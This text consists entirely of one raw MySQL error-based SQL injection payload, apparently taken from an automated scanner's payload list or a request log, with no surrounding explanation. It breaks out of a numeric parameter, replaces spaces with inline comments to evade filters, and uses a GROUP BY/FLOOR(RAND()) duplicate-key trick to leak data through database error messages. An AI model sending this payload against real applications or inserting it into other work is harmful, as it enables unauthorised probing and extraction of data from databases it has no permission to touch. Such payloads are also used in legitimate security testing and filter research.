1,(SELECT/**/1380/**/FROM/**/(SELECT/**/ROW(1380,2100)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(1380=1380,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/4335/**/UNION/**/SELECT/**/2655/**/UNION/**/SELECT/**/8293/**/UNION/**/SELECT/**/2380)a/**/GROUP/**/BY/**/x))s)#